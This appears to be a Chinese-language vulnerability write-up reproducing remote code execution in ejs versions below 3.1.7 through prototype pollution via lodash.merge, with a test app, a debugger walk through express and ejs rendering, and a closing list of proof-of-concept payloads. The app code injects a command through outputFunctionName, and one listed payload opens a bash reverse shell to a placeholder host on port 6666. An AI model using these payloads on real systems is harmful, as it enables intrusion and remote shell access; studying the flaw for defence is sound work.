首先注意,这个是在原型链污染的前提下,进行的RCE,并不是ejs本身存在原型链污染导致RCE

影响版本

ejs版本 < 3.1.7

环境搭建

因为该RCE的前提条件是原型链污染,为了方便本地复现,这里使用 lodash.merge 方法中的原型链污染漏洞。

1
2
3
npm install lodash@4.17.4
npm install ejs@3.1.6
npm install express

测试代码

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'whoami test'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

index.ejs

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

运行 app.js 后访问 8000 端口,成功弹出计算器:

image-20221101092925194

调试分析

下面开始分析

在res.render处下断点,第11行是要在reander之前原型链污染添加一个outputFunctionName属性

image-20221101085951539

跟进res.render函数

image-20221101090129060

进入到response.js,到1039行的app.render函数

image-20221101090244446

跟进到application.js,到render函数,函数的最后一行tryRender

image-20221101090418983

到同文件application.js中的tryRender函数,调用了view.render(options, callback);

image-20221101090603783

跟进render函数,到view.js的render函数,这里调用this.engine。

image-20221101090846528

跟进this.engine(this.path, options, callback);,从这里进入到了模板渲染引擎 ejs.js

image-20221101091025643

跟进tryHandleCache,调用handleCache方法,传data参数

image-20221101091119990

跟进handleCache,调用渲染模板的compile方法

image-20221101091312317

跟进compile方法,调用templ.compile(),这个函数存在大量的渲染拼接,其中会判断opts.outputFunctionName是否存在,这也是我们为什么要污染outputFunctionName属性的缘故,判断成功会将outputFunctionName拼接到prepended中。

而prepended 在最后会被传递给 this.source 并被带入函数执行

image-20221101091534571

常用的ejs模板引擎RCE的POC

1
2
3
4
5
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

参考链接

  1. 从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)